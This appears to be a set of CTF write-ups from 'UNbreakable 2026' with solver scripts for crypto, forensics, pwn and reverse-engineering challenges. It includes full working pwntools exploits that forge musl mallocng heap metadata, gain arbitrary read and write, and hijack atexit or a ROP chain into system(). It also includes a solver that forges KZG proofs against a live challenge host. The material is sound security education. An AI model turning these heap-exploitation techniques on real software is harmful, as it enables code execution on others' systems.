# UNbreakable 2026

## cryptography

### toxicwaste

#### Description

The service implements a KZG-style opening check on the supersingular curve `y^2 = x^3 + 1` over `GF(p)`, with `p = 6q - 1` and subgroup order `q`.

It publishes a shuffled SRS:

* points `alpha^i * G1` for `i = 0..39`
* matching coefficients of a degree-39 polynomial `A(x)` such that `A(alpha) = 0`

The intended protection is the shuffle, but the curve is pairing-friendly and exposes enough structure to undo it.

#### Solution

Let `P_i = alpha^i * G1`. The important leak is:

`sum coeff_i * P_i = 0`

which means the published coefficients form a vanishing polynomial `A(x)` with root `alpha`.

The only obstacle is that the tuples are shuffled. On this curve there is an efficient distortion map:

`psi((x, y)) = (zeta * x, y)` where `zeta^3 = 1`, `zeta != 1`

and therefore

`e(P_i, psi(P_j)) = e(G1, psi(G1))^(alpha^(i+j))`

So pairings let us recognize when two published points correspond to exponent addition. Using that, we recover the hidden order of the SRS points:

* identify `G1 = alpha^0 * G1`
* find the unique published point acting as `alpha^1 * G1`
* repeatedly add exponents via pairing comparisons to walk the whole chain `alpha^0, alpha^1, ..., alpha^39`

Once the order is known, the shuffled coefficients become the actual polynomial

`A(x) = a_0 + a_1 x + ... + a_39 x^39`

We solve `A(x) = 0` over `GF(q)` and keep the root whose powers really reproduce the published points. That gives the toxic waste `alpha`.

After recovering `alpha`, the verifier is completely broken. We commit to the degree-41 polynomial:

`f(x) = x^41`

This is enough because the service only prints the flag when the interpolated polynomial has degree `> 40`.

For a query point `z`, send:

* `y = z^41 mod q`
* `pi = ((alpha^41 - z^41) / (alpha - z)) * G1`

Then the pairing check is exactly the KZG opening equation for `f`.

Solver used:

```python
from ast import literal_eval
import re
import socket
import sys

from sage.all_cmdline import *


HOST = "34.159.87.224"
PORT = 31838
DEG = 41
QUERIES = 100


class Tube:
    def __init__(self, host, port, timeout=180):
        self.sock = socket.create_connection((host, port))
        self.sock.settimeout(timeout)
        self.buf = b""

    def recv_until(self, token):
        while token not in self.buf:
            chunk = self.sock.recv(65536)
            if not chunk:
                raise EOFError("connection closed before token")
            self.buf += chunk
        idx = self.buf.index(token) + len(token)
        out = self.buf[:idx]
        self.buf = self.buf[idx:]
        return out

    def recv_match(self, pattern):
        while True:
            m = re.search(pattern, self.buf)
            if m:
                out = m
                self.buf = self.buf[m.end():]
                return out
            chunk = self.sock.recv(65536)
            if not chunk:
                raise EOFError("connection closed before regex match")
            self.buf += chunk

    def send_line(self, s):
        if isinstance(s, str):
            s = s.encode()
        self.sock.sendall(s + b"\n")

    def recv_all(self):
        chunks = [self.buf]
        self.buf = b""
        while True:
            try:
                chunk = self.sock.recv(65536)
            except socket.timeout:
                break
            if not chunk:
                break
            chunks.append(chunk)
        return b"".join(chunks)


def psi(E2, zeta, P):
    if P == 0:
        return P
    return E2((zeta * P[0], P[1]))


def parse_banner(data):
    text = data.decode()
    p = int(re.search(r"p = (\d+)", text).group(1))
    pub_text = re.search(r"pub = (\[.*\])\s*C = $", text, re.S).group(1)
    pub = literal_eval(pub_text)
    return p, pub


def recover_alpha(p, pub):
    E = EllipticCurve(GF(p), [0, 1])
    G1 = 6 * E.gens()[0]
    o = Integer(G1.order())

    Fp2 = GF(p**2, "x", modulus=[1, 1, 1])
    zeta = Fp2.gen()
    E2 = EllipticCurve(Fp2, [0, 1])
    G1e = E2(G1)

    pts = []
    coeffs = []
    for (xy, coeff) in pub:
        pts.append(E2(E(xy)))
        coeffs.append(Integer(coeff) % o)

    basevals = [P.weil_pairing(psi(E2, zeta, G1e), o) for P in pts]
    lookup = {v: i for i, v in enumerate(basevals)}
    id_idx = pts.index(G1e)

    order = None
    for cand in range(len(pts)):
        cur = id_idx
        seq = [id_idx]
        seen = {id_idx}
        ok = True
        for _ in range(len(pts) - 1):
            nxt = lookup.get(pts[cur].weil_pairing(psi(E2, zeta, pts[cand]), o))
            if nxt is None or nxt in seen:
                ok = False
                break
            seq.append(nxt)
            seen.add(nxt)
            cur = nxt
        if ok:
            order = seq
            break

    if order is None:
        raise ValueError("failed to recover point order")

    R = PolynomialRing(GF(o), "x")
    x = R.gen()
    A = sum(R(coeffs[order[i]]) * x**i for i in range(len(order)))

    alpha = None
    for root in A.roots(multiplicities=False):
        power = Integer(1)
        ok = True
        for i, idx in enumerate(order):
            if i > 0:
                power = (power * Integer(root)) % o
            if E2(power * G1) != pts[idx]:
                ok = False
                break
        if ok:
            alpha = Integer(root)
            break

    if alpha is None:
        raise ValueError("failed to identify alpha")

    return E, G1, o, alpha


def main():
    io = Tube(HOST, PORT)
    banner = io.recv_until(b"C = ")
    p, pub = parse_banner(banner)
    E, G1, o, alpha = recover_alpha(p, pub)

    commit_scalar = power_mod(alpha, DEG, o)
    C = Integer(commit_scalar) * G1
    io.send_line(f"{int(C[0])},{int(C[1])}")

    for _ in range(QUERIES):
        m = io.recv_match(rb"z = (\d+)\r?\n")
        z = Integer(m.group(1).decode())
        zm = z % o
        y = Integer(power_mod(zm, DEG, o))
        if zm == alpha:
            proof_scalar = (DEG * power_mod(alpha, DEG - 1, o)) % o
        else:
            proof_scalar = ((commit_scalar - y) * inverse_mod(alpha - zm, o)) % o
        pi = Integer(proof_scalar) * G1
        io.send_line(str(int(y)))
        io.send_line(f"{int(pi[0])},{int(pi[1])}")

    out = io.recv_all().decode(errors="replace")
    sys.stdout.write(out)


if __name__ == "__main__":
    main()
```

Flag:

`flag{Alph4_h4s_t0_b3_1nc1n3r4t3d_947a1a1e8895d3d483ab}`

***

## forensics

### RAM Vault Beacon Malware

#### Description

Given a Linux RAM dump (`memory.lime`) from a compromised system, recover the challenge flag.

#### Solution

Recovered malware source strings in RAM show the vault/key logic:

* `ts_window = floor(time(NULL)/600)*600`
* `ikm = SHA256(machine_id || TASK_ID || ts_window_le8 || SHA256(STAGE_ARGS_B64))`
* `key = SHA256(KDF_SALT || ikm || "rocsc/vault")`
* `aad = SHA256(machine_id || TASK_ID)`
* Vault format: header (5 little-endian u32: version, nonce\_len, pt\_len, ct\_len, crc32\_ct) + nonce(24) + ciphertext(48)
* AEAD: `XChaCha20-Poly1305`.

Recovered runtime artifacts from RAM:

* `TASK_ID=1bcec366-9649-4a61-8c2d-9c6b2c2a702a`
* `KDF_SALT=d17025e353b5380823b9eef194ef33ad`
* `STAGE_ARGS_B64=TRVnDl1dSQDmaFZohHQdYe0nqpAS+w9qgphZ9rBC7gARGbEalpjyTCw+o/KopwZzIg4OQ8W/3m7tuiOy7/74AgA=`
* POST body in RAM:
  * `task=1bcec366-9649-4a61-8c2d-9c6b2c2a702a`
  * `ts=1772107800`
  * `fp=aa7f195dcaa55dc92809fc10278fcb13feea281ac564cd70141ba17f64bd5c5d00000000c2b6b1572b7e2b0417fd86c9819af720a80df32383d03567b93a7bb71deb27b9`
  * `hmac=4b322b9f3362762f829ef3b43a461fdeeba8de09d5ec3d2e98bae67235fe66fa`
* Machine-id recovered by matching `SHA256(machine_id)` to the first 32 bytes of `fp`:
  * `machine_id=783abf8dcd8846d889fee75ae6b1046a`

Reproducible solver code used:

```python
#!/usr/bin/env python3
import base64
import hashlib
import hmac
import mmap
import struct
import zlib
from nacl.bindings import crypto_aead_xchacha20poly1305_ietf_decrypt

MEM = "memory.lime"
TASK_ID = "1bcec366-9649-4a61-8c2d-9c6b2c2a702a"
KDF_SALT_HEX = "d17025e353b5380823b9eef194ef33ad"
STAGE_ARGS_B64 = "TRVnDl1dSQDmaFZohHQdYe0nqpAS+w9qgphZ9rBC7gARGbEalpjyTCw+o/KopwZzIg4OQ8W/3m7tuiOy7/74AgA="
TS_WINDOW = 1772107800
MACHINE_ID = "783abf8dcd8846d889fee75ae6b1046a"
FP = "aa7f195dcaa55dc92809fc10278fcb13feea281ac564cd70141ba17f64bd5c5d00000000c2b6b1572b7e2b0417fd86c9819af720a80df32383d03567b93a7bb71deb27b9"
HMAC_EXPECT = "4b322b9f3362762f829ef3b43a461fdeeba8de09d5ec3d2e98bae67235fe66fa"
DNS_LAST_IP = bytes([66, 254, 114, 41])

# Derive key exactly as malware
args_hash = hashlib.sha256(STAGE_ARGS_B64.encode()).digest()
ts_le8 = struct.pack("<Q", TS_WINDOW)
ikm = hashlib.sha256(
    MACHINE_ID.encode() + TASK_ID.encode() + ts_le8 + args_hash
).digest()
key = hashlib.sha256(bytes.fromhex(KDF_SALT_HEX) + ikm + b"rocsc/vault").digest()
aad = hashlib.sha256(MACHINE_ID.encode() + TASK_ID.encode()).digest()

# Validate against beacon hmac
calc_hmac = hmac.new(key, bytes.fromhex(FP) + ts_le8 + DNS_LAST_IP, hashlib.sha256).hexdigest()
assert calc_hmac == HMAC_EXPECT

# Scan for vault headers and decrypt valid candidates
magic = struct.pack("<IIII", 3, 24, 32, 48)
seen = set()
results = []

with open(MEM, "rb") as f:
    overlap = b""
    off = 0
    while True:
        chunk = f.read(4 * 1024 * 1024)
        if not chunk:
            break
        buf = overlap + chunk
        i = 0
        while True:
            p = buf.find(magic, i)
            if p == -1:
                break
            if p + 92 <= len(buf):
                crc_stored = struct.unpack_from("<I", buf, p + 16)[0]
                nonce = buf[p + 20:p + 44]
                ct = buf[p + 44:p + 92]
                if (zlib.crc32(ct) & 0xFFFFFFFF) == crc_stored:
                    sig = (nonce, ct)
                    if sig not in seen:
                        seen.add(sig)
                        try:
                            pt = crypto_aead_xchacha20poly1305_ietf_decrypt(ct, aad, nonce, key)
                            results.append((off - len(overlap) + p, nonce, ct, pt))
                        except Exception:
                            pass
            i = p + 1
        overlap = buf[-100:]
        off += len(chunk)

assert len(results) == 1
vault_off, nonce, ct, pt = results[0]
print("vault_offset", vault_off)
print("nonce", nonce.hex())
print("ciphertext", ct.hex())
print("pt_hex", pt.hex())
print("pt_b64", base64.b64encode(pt).decode())
```

Output plaintext:

* hex: `55eb337497c226fadcd74648227da4831106f06439145d500bb383b47bfa8745`

Submitted flag:

* `CTF{55eb337497c226fadcd74648227da4831106f06439145d500bb383b47bfa8745}`

### Relay in the Noise

#### Description

A packet capture from a Linux packet-radio relay box is provided. Recover the hidden message/flag from the capture.

#### Solution

The useful traffic is in the KISS/AX.25 packets (`udp 49712 -> 8001`) near the end of the pcap.

Key observations:

* `BLT/xx/17:<base32>` messages from `N9VHF-9` contain the ciphertext fragments.
* A chat line gives the mask rule: `sha256(lower(grid)|ssid)`.
* A beacon includes `qth=FN31pr`, so `lower(grid) = fn31pr`.
* Sender SSID for the real BLT stream is `9` (`N9VHF-9`).

Reconstruction/decryption that works:

1. Reassemble `/17` bulletin chunks in index order `01..17`.
2. Base32-decode the concatenated text to get 127-byte ciphertext.
3. Build keystream in counter mode using SHA-256 with seed `b"fn31pr|9"`:
   * block `i` = `sha256(seed + i.to_bytes(4, "big"))`
4. XOR ciphertext with keystream.
5. zlib-decompress the XOR output.

Recovered plaintext: `OPORDER|relay=old_water_tower|window=0215z|flag=UNR{4x25_p47h5_4nd_6r1d_5qu4r35_73ll_7h3_570ry_2fee56dc8f22f6a7}|note=burn_after_reading`

Flag: `UNR{4x25_p47h5_4nd_6r1d_5qu4r35_73ll_7h3_570ry_2fee56dc8f22f6a7}`

```python
#!/usr/bin/env python3
import base64
import hashlib
import subprocess
import re
import zlib

PCAP = "attachments/rf_relay_capture.pcap"

# Pull UDP payloads from tshark
out = subprocess.check_output(
    [
        "tshark", "-r", PCAP,
        "-T", "fields",
        "-E", "separator=\t",
        "-e", "frame.number",
        "-e", "udp.payload",
    ],
    text=True,
)

blt17 = {}
grid = None

for line in out.splitlines():
    parts = line.split("\t")
    if len(parts) < 2 or not parts[1]:
        continue

    payload = bytes.fromhex(parts[1].strip())

    # KISS frame expected: C0 <cmd> <ax25...> C0
    if not (len(payload) >= 3 and payload[0] == 0xC0 and payload[-1] == 0xC0):
        continue

    frame = payload[2:-1]
    i = frame.find(b"\x03\xF0")
    if i == -1:
        continue

    info = frame[i + 2 :]
    try:
        s = info.decode("ascii")
    except UnicodeDecodeError:
        continue

    # qth grid
    m_qth = re.search(r"qth=([A-Za-z0-9]+)", s)
    if m_qth:
        grid = m_qth.group(1).lower()

    # BLT chunks
    m_blt = re.fullmatch(r"BLT/(\d{2})/(\d{2}):([A-Z2-7]+)", s)
    if m_blt and int(m_blt.group(2)) == 17:
        idx = int(m_blt.group(1))
        blt17[idx] = m_blt.group(3)

if len(blt17) != 17:
    raise SystemExit(f"Expected 17 chunks, got {len(blt17)}")
if not grid:
    raise SystemExit("Could not find grid (qth=...)")

# Reassemble ciphertext (indices 1..17)
ctext_b32 = "".join(blt17[i] for i in range(1, 18))
cipher = base64.b32decode(ctext_b32 + "=" * ((8 - len(ctext_b32) % 8) % 8))

# Per clue: sha256(lower(grid)|ssid), ssid from N9VHF-9 => 9
seed = f"{grid}|9".encode()

# SHA-256 counter-mode keystream: sha256(seed || be32(counter))
ks = b""
counter = 0
while len(ks) < len(cipher):
    ks += hashlib.sha256(seed + counter.to_bytes(4, "big")).digest()
    counter += 1
ks = ks[:len(cipher)]

masked = bytes(c ^ k for c, k in zip(cipher, ks))
plain = zlib.decompress(masked).decode()
print(plain)

flag = re.search(r"(UNR\{[^}]+\})", plain)
print(flag.group(1) if flag else "Flag not found")
```

### Tokio Magic

#### Description

Forensics challenge about a malware detonation on a Windows image. The flag format was:

`UNR{ans1_ans2_ans3_ans4_ans5}`

Questions:

1. Keyboard layouts installed/used by the user
2. Modification timestamp of the Defrag prefetch file
3. SHA-256 hash of the malware detonated on the machine
4. First part of the flag string
5. Last part of the flag string

#### Solution

Part 1 was normalized as `English`. The local layout evidence pointed to a single English/US layout.

Part 2 came from the prefetch file, not `defrag.exe` itself. The correct file was `Windows/Prefetch/DEFRAG.EXE-738093E8.pf`, MFT record `103949`.

```bash
istat -f ntfs extracted/UNRTokio.raw 103949
ntfsinfo -i 103949 extracted/UNRTokio.raw
```

Relevant timestamp:

```
File Altered Time: Mon Dec 16 19:03:29 2024 UTC
```

So part 2 was:

```
2024-12-16 19:03:29
```

Part 3 was the 2026 sample, not the older rejected `bf575...` branch. The strongest chain was:

1. `I_see_you.zip.7878kr5jx` in Downloads had a preserved `Zone.Identifier`.
2. That ADS pointed to MalwareBazaar download URL `.../723d1cf3d74fb3ce95a77ed9dff257a78c8af8e67a82963230dd073781074224/`.
3. USN showed `723d...exe` created on the Desktop and renamed to `svch.exe`.
4. UserAssist showed `C:\Users\Masquerade\Desktop\svch.exe` executed.
5. The recovered `svch.exe` hashed to the same `723d...` value.

Useful commands:

```bash
istat -f ntfs extracted/UNRTokio.raw 28921
ffind -f ntfs extracted/UNRTokio.raw 28921
sha256sum svch.exe
```

The final malware hash was:

```
723d1cf3d74fb3ce95a77ed9dff257a78c8af8e67a82963230dd073781074224
```

Part 4 came from Chrome JumpList data. `jumplist_31180.bin` contained both the MalwareBazaar download URL and a Pastebin entry whose title already exposed the answer.

```bash
strings -el jumplist_31180.bin | nl -ba | sed -n '1,30p'
```

Relevant lines:

```
8  @--win-jumplist-action=most-visited https://pastebin.com/yCheGkhf
11 First part of the flag is: Congrats_boy - Pastebin.com
```

The page itself also confirmed it:

```bash
curl -L -s https://pastebin.com/raw/yCheGkhf
```

Output:

```
First part of the flag is: Congrats_boy
```

So part 4 was:

```
Congrats_boy
```

Part 5 came from decrypting `secret.enc` using the XOR keystream derived from the known plaintext pair `know.txt` and `know.txt.7878kr5jx`.

```python
from pathlib import Path

plain = Path("know.txt").read_bytes()
enc = Path("know.txt.7878kr5jx").read_bytes()[:len(plain)]
keystream = bytes(a ^ b for a, b in zip(plain, enc))

secret = Path("secret.enc.bin").read_bytes()
out = bytes(b ^ keystream[i % len(keystream)] for i, b in enumerate(secret))
print(out.rstrip(b"\x00").decode())
```

Recovered text:

```
Last part of the  F l A g is : amaz1ng_j0b_y0udeserve_it
```

So part 5 was:

```
amaz1ng_j0b_y0udeserve_it
```

Final flag:

```
UNR{English_2024-12-16 19:03:29_723d1cf3d74fb3ce95a77ed9dff257a78c8af8e67a82963230dd073781074224_Congrats_boy_amaz1ng_j0b_y0udeserve_it}
```

***

## pwn

### atypical heap

#### Description

The binary is a musl-based note manager with two useful bugs:

* `read note` only checks `sz <= 0x100`, not `sz <= notes[idx].size`, so it over-reads past the note.
* Hidden menu option `5` is an unlimited aligned 8-byte arbitrary write. The code sets `magic_used = 1` once, but never checks it.

The goal is to turn a musl `mallocng` heap leak into a PIE leak, then into full arbitrary read/write, and finally into code execution.

#### Solution

For a first `malloc(0x70)`, the over-read at offset `0x80` leaks `meta0 + 0x28`, which is the next free `struct meta` slot in the same `meta_area`. That gives a reliable heap pointer.

Using the arbitrary write:

1. Treat that next free `meta` slot as a fake active group.
2. Rewire the real `meta0` so the next `0x70` allocation advances to the fake one.
3. Make the fake `meta` return a note whose `data` pointer lands on the original `meta0`.
4. Reading that forged note reveals `meta0->mem`, which points at the live group in the anonymous mapping next to the PIE.
5. For the first `0x70` allocation, `meta0->mem` is always `chall_base + 0x3f20`, so `chall_base = meta0->mem - 0x3f20`.
6. With the PIE base known, overwrite a `notes[]` entry to point anywhere and use note read/write as arbitrary read/write.
7. Leak `printf@got` to recover the musl base.
8. Overwrite musl's `atexit` builtin list so `exit(0)` calls `system("sh -c 'cat ...flag...'")`.

Exploit:

```python
#!/usr/bin/env python3
from pwn import *

context.binary = ELF("./dist/chall", checksec=False)
libc = ELF("./dist/libc.so", checksec=False)
context.log_level = "info"


def start():
    return process(["./dist/libc.so", "./dist/chall"], cwd=".")


def cmd(io, choice):
    io.sendlineafter(b"> ", str(choice).encode())


def alloc(io, idx, size):
    cmd(io, 1)
    io.sendlineafter(b"index: ", str(idx).encode())
    io.sendlineafter(b"Enter size: ", str(size).encode())


def write_note(io, idx, data):
    cmd(io, 3)
    io.sendlineafter(b"index: ", str(idx).encode())
    io.sendlineafter(b"size: ", str(len(data)).encode())
    io.sendafter(b"data: ", data)


def read_note(io, idx, size):
    cmd(io, 4)
    io.sendlineafter(b"index: ", str(idx).encode())
    io.sendlineafter(b"size: ", str(size).encode())
    return io.recvn(size)


def magic(io, addr, value):
    cmd(io, 5)
    io.sendlineafter(b"address: ", hex(addr).encode())
    io.sendlineafter(b"value: ", str(value & ((1 << 64) - 1)).encode())


def forge_note(io, notes_base, idx, target, size=0x100):
    entry = notes_base + idx * 0x10
    magic(io, entry, target)
    magic(io, entry + 8, size)


def arb_read(io, notes_base, idx, target, size):
    forge_note(io, notes_base, idx, target, max(size, 0x100))
    return read_note(io, idx, size)


def arb_write(io, notes_base, idx, target, data):
    forge_note(io, notes_base, idx, target, max(len(data), 0x100))
    write_note(io, idx, data)


def main():
    io = start()

    alloc(io, 0, 0x70)
    leak = read_note(io, 0, 0x100)
    meta0 = u64(leak[0x80:0x88]) - 0x28
    fake = meta0 + 0x28
    log.info(f"meta0 = {meta0:#x}")
    log.info(f"fake  = {fake:#x}")

    magic(io, meta0 - 8, 0x00FF0100)
    magic(io, fake + 0x00, fake)
    magic(io, fake + 0x08, fake)
    magic(io, fake + 0x10, meta0 - 0x10)
    magic(io, fake + 0x18, 1 << 32)
    magic(io, fake + 0x20, 7 << 6)
    magic(io, meta0 + 0x00, fake)
    magic(io, meta0 + 0x08, fake)
    magic(io, meta0 + 0x18, 1 << 32)

    alloc(io, 1, 0x70)
    meta_dump = read_note(io, 1, 0x40)
    group = u64(meta_dump[0x10:0x18])
    chall_base = group - 0x3F20
    notes_base = chall_base + 0x3020
    printf_got = chall_base + 0x2F70
    printf_addr = u64(arb_read(io, notes_base, 2, printf_got, 8))
    libc_base = printf_addr - libc.sym["printf"]

    log.info(f"chall_base = {chall_base:#x}")
    log.info(f"libc_base  = {libc_base:#x}")

    builtin = libc_base + 0xA36A0
    head = libc_base + 0xA5DC8
    lock_slot = libc_base + 0xA5FE0
    cmd_buf = notes_base + 0x400
    shell_cmd = b"sh -c 'cat /srv/dist/flag.txt || cat dist/flag.txt || cat flag.txt'\x00"

    arb_write(io, notes_base, 2, cmd_buf, shell_cmd)
    magic(io, builtin + 0x00, 0)
    magic(io, builtin + 0x08, libc_base + libc.sym["system"])
    magic(io, builtin + 0x108, cmd_buf)
    magic(io, lock_slot, 0x100000000)
    magic(io, head, builtin)

    cmd(io, 6)
    out = io.recvall(timeout=2)
    print(out.decode("latin-1", errors="replace"), end="")


if __name__ == "__main__":
    main()
```

### atyipical-heap-revenge

#### Description

The binary has two obvious bugs:

* `NOTE_READ` trusts the user-supplied read length up to `0x100` instead of the note's real size, so small allocations become bounded OOB reads.
* Hidden menu choice `5` is an unlimited aligned 8-byte arbitrary write because `magic_used` is never enforced.

The intended twist is musl's allocator. Small allocations live inside nested groups, so an OOB read from the last slot of a group can leak the next group's header and therefore a musl `meta` pointer. Once one accessible group's `meta->mem` field is overwritten, a normal allocation can be redirected to an arbitrary address.

#### Solution

The exploit uses two musl groups:

1. Allocate one `0x70` note and read `0x100` bytes from it. At offset `0x80` this leaks a heap `meta` pointer for a single-slot `sc3` group. I use that group as an arbitrary-address reader for one allocation of size `0x30`.
2. Allocate 30 notes of size `1`. Reading `0x40` bytes from the 30th note leaks another heap `meta` pointer at offset `0x10`, this time for a single-slot `sc11` group.
3. Overwrite the leaked `sc3` group's `meta->mem` with `meta_a - 0x10`, then allocate a `0x30` note. That note lands on `meta_a`, so reading it leaks `meta_a->mem`.
4. `meta_a->mem` is always at `mapping_start + 0x2ec0`, where `mapping_start` is the anonymous RW mapping placed after libc. `libc` is still a fixed delta from there, but the PIE delta was not stable between local and remote, so I do not guess it.
5. Instead, I reuse the leaked `sc11` group once more to read the post-libc pointer table at `mapping_start + 0x1680`. The qword at table offset `0x40` is the exact PIE base for the current run.
6. The same post-libc mapping contains a stable stack anchor at `mapping_start + 0x1da0`. During the blocking `read()` used by `NOTE_WRITE`, the saved return address is always at `stack_anchor - 0x88`.
7. Write `"cat flag.txt"` into an unused `notes` entry in `.bss`, repoint a note at the live `read()` return address, and use `NOTE_WRITE` itself to place a short ROP chain there: `ret; pop rdi; "cat flag.txt"; system; pop rdi; 0; exit`

That returns out of the in-flight `read()` directly into `system("cat flag.txt")`.

```python
#!/usr/bin/env python3
from pathlib import Path
import sys

from pwn import ELF, ROP, context, flat, process, remote, u64


ROOT = Path(__file__).resolve().parent
DIST = ROOT / "dist"
CHALL = DIST / "chall"
LIBC = DIST / "libc.so"

context.arch = "amd64"
context.log_level = "error"

elf = ELF(str(CHALL), checksec=False)
libc = ELF(str(LIBC), checksec=False)
rop = ROP(libc)

RET = rop.find_gadget(["ret"]).address
POP_RDI = rop.find_gadget(["pop rdi", "ret"]).address
NOTES_OFF = elf.symbols["notes"]


class Exploit:
    def __init__(self, io):
        self.io = io
        self.pie = 0
        self.notes = 0

    def choose(self, choice):
        self.io.sendlineafter(b"> ", str(choice).encode())

    def alloc(self, idx, size):
        self.choose(1)
        self.io.sendlineafter(b"index: ", str(idx).encode())
        self.io.sendlineafter(b"Enter size: ", str(size).encode())

    def note_read(self, idx, size):
        self.choose(4)
        self.io.sendlineafter(b"index: ", str(idx).encode())
        self.io.sendlineafter(b"size: ", str(size).encode())
        return self.io.recvn(size)

    def note_write(self, idx, data):
        self.choose(3)
        self.io.sendlineafter(b"index: ", str(idx).encode())
        self.io.sendlineafter(b"size: ", str(len(data)).encode())
        self.io.sendafter(b"data: ", data)

    def magic(self, addr, value):
        self.choose(5)
        self.io.sendlineafter(b"address: ", hex(addr).encode())
        self.io.sendlineafter(b"value: ", str(value).encode())

    def set_note_ptr(self, idx, addr, size=0x100):
        entry = self.notes + idx * 16
        self.magic(entry, addr)
        self.magic(entry + 8, size)

    def write_bytes(self, addr, data):
        padded = data
        if len(padded) % 8:
            padded += b"\x00" * (8 - len(padded) % 8)
        for off in range(0, len(padded), 8):
            self.magic(addr + off, u64(padded[off : off + 8]))

    def run(self):
        self.alloc(0, 0x70)
        meta_b = u64(self.note_read(0, 0x100)[0x80:0x88])

        for idx in range(1, 31):
            self.alloc(idx, 1)
        meta_a = u64(self.note_read(30, 0x40)[0x10:0x18])

        self.magic(meta_b + 0x10, meta_a - 0x10)
        self.alloc(31, 0x30)
        a_meta = self.note_read(31, 0x30)
        a_mem = u64(a_meta[0x10:0x18])

        mapping_start = a_mem - 0x2EC0
        libc.address = mapping_start - 0xA4000

        self.magic(meta_a + 0x10, mapping_start + 0x1680 - 0x10)
        self.alloc(32, 0xC0)
        table = self.note_read(32, 0x100)
        self.pie = u64(table[0x40:0x48])
        self.notes = self.pie + NOTES_OFF

        self.set_note_ptr(31, mapping_start + 0x1DA0, 8)
        sp_anchor = u64(self.note_read(31, 8))
        read_ret = sp_anchor - 0x88

        cmd_addr = self.notes + 40 * 16
        self.write_bytes(cmd_addr, b"cat flag.txt\x00")

        chain = flat(
            [
                libc.address + RET,
                libc.address + POP_RDI,
                cmd_addr,
                libc.symbols["system"],
                libc.address + POP_RDI,
                0,
                libc.symbols["exit"],
            ],
            word_size=64,
        )

        self.set_note_ptr(31, read_ret, len(chain))
        self.note_write(31, chain)

        out = self.io.recvall(timeout=2)
        sys.stdout.buffer.write(out)


def start():
    if len(sys.argv) == 3:
        return remote(sys.argv[1], int(sys.argv[2]))
    return process([str(LIBC), str(CHALL)], cwd=str(DIST))


def main():
    io = start()
    try:
        Exploit(io).run()
    finally:
        io.close()


if __name__ == "__main__":
    main()
```

***

## reverse\_engineering

### jumpy

#### Description

The binary reads up to `0x100` bytes from `stdin`, pads to 32-byte blocks, transforms each block, and writes the result to `enc.sky`. The provided `enc.sky` is the encrypted target.

The interesting part is that the per-block logic is stored in 14 code blocks around `0x401fd3`, but those blocks are XOR-masked and only decrypted right before execution. The dispatcher also re-encrypts the previous block after each jump.

#### Solution

The block decryptor is:

```c
mask_byte = ((37 * block_id + 13 * offset) & 0xff) ^ 0xcb;
code[offset] ^= mask_byte;
```

Decoding those 14 blocks shows that only a subset is live. The effective encryption on each 32-byte block is:

1. Build `seed = SHA256("UNBR26::GrayInterleaveSbox::v1" || 1337c0de26aabbccdeadbeef42241999)`.
2. Build a 256-byte permutation with a Fisher-Yates shuffle driven by `SHA256(seed || counter_le32)` output bytes.
3. For block index `blk`, build `ks = SHA256(seed || "KS" || blk_le32)`.
4. For each byte pair `(pos, pos+1)` inside the 32-byte block:
   * `x ^= ks[pos]`
   * `x = x + (31*blk + 17*pos) mod 256`
   * `x = x ^ (x >> 1)` (Gray encode)
   * Do that for both bytes.
   * Swap the low nibbles between the two bytes.
   * Substitute each byte through the shuffled permutation.
   * Rotate each byte left by `ks[pos] & 7`.
5. The file uses PKCS#7-style padding to 32 bytes.

To decrypt, invert those steps in reverse order:

```python
#!/usr/bin/env python3
from hashlib import sha256
from pathlib import Path


def rol8(x: int, r: int) -> int:
    r &= 7
    return ((x << r) | (x >> (8 - r))) & 0xFF if r else x


def ror8(x: int, r: int) -> int:
    r &= 7
    return ((x >> r) | (x << (8 - r))) & 0xFF if r else x


def gray_decode(g: int) -> int:
    x = g
    x ^= x >> 1
    x ^= x >> 2
    x ^= x >> 4
    return x & 0xFF


def build_permutation(seed: bytes) -> tuple[list[int], list[int]]:
    perm = list(range(256))
    counter = 0
    block = b""
    block_index = 32

    for i in range(255, 0, -1):
        if block_index > 31:
            block = sha256(seed + counter.to_bytes(4, "little")).digest()
            counter += 1
            block_index = 0

        j = block[block_index] % (i + 1)
        block_index += 1
        perm[i], perm[j] = perm[j], perm[i]

    inv = [0] * 256
    for i, v in enumerate(perm):
        inv[v] = i
    return perm, inv


def decrypt_block(block: bytes, block_index: int, seed: bytes, inv_perm: list[int]) -> bytes:
    ks = sha256(seed + b"KS" + block_index.to_bytes(4, "little")).digest()
    out = bytearray(block)

    for pos in range(0, 32, 2):
        a = out[pos]
        b = out[pos + 1]

        a = ror8(a, ks[pos] & 7)
        b = ror8(b, ks[pos + 1] & 7)

        a = inv_perm[a]
        b = inv_perm[b]

        a, b = ((a & 0xF0) | (b & 0x0F), (b & 0xF0) | (a & 0x0F))

        a = gray_decode(a)
        b = gray_decode(b)

        a = (a - ((31 * block_index + 17 * pos) & 0xFF)) & 0xFF
        b = (b - ((31 * block_index + 17 * (pos + 1)) & 0xFF)) & 0xFF

        a ^= ks[pos]
        b ^= ks[pos + 1]

        out[pos] = a
        out[pos + 1] = b

    return bytes(out)


def main() -> None:
    key = b"UNBR26::GrayInterleaveSbox::v1"
    iv = bytes.fromhex("1337c0de26aabbccdeadbeef42241999")
    seed = sha256(key + iv).digest()
    _, inv_perm = build_permutation(seed)

    ciphertext = Path("attachments/enc.sky").read_bytes()
    plaintext = bytearray()

    for block_index in range(len(ciphertext) // 32):
        chunk = ciphertext[block_index * 32:(block_index + 1) * 32]
        plaintext.extend(decrypt_block(chunk, block_index, seed, inv_perm))

    pad = plaintext[-1]
    if 1 <= pad <= 32 and plaintext.endswith(bytes([pad]) * pad):
        plaintext = plaintext[:-pad]

    print(plaintext.decode())


if __name__ == "__main__":
    main()
```

Running it prints:

```
UNBR{daca_faci_challu_esti_magnat_si_ai_furat_34_67_date_personales_boss}
```

### riga crypto

#### Description

Reverse an npm package that drops a PyInstaller/PyArmor GUI wrapper around a custom Go shared library and recover the plaintext behind `attachments/flag.enc`.

#### Solution

`embedded_app` is a distraction layer. The useful path is:

1. Deobfuscate the package enough to extract the dropped binaries.
2. Execute the PyArmor payload under a local CPython 3.13 build with a stub `pygame` module.
3. Confirm the Python code only calls `libmylib.so`'s `EncryptFileHex(path, ignored)` on `flag.txt`.
4. Recover the fixed AES layer from the Go library globals:
   * key bytes: ASCII `021b49755fb4961a40f3a539ee80fa8f`
   * IV bytes: ASCII `8cc46e76876a55c1`
   * trailer: ASCII `67e672f4049b06ee`
5. Decrypt `flag.enc` to get the transformed flag bytes.
6. Reverse the Go byte pipeline with chosen-input tests and gdb snapshots.
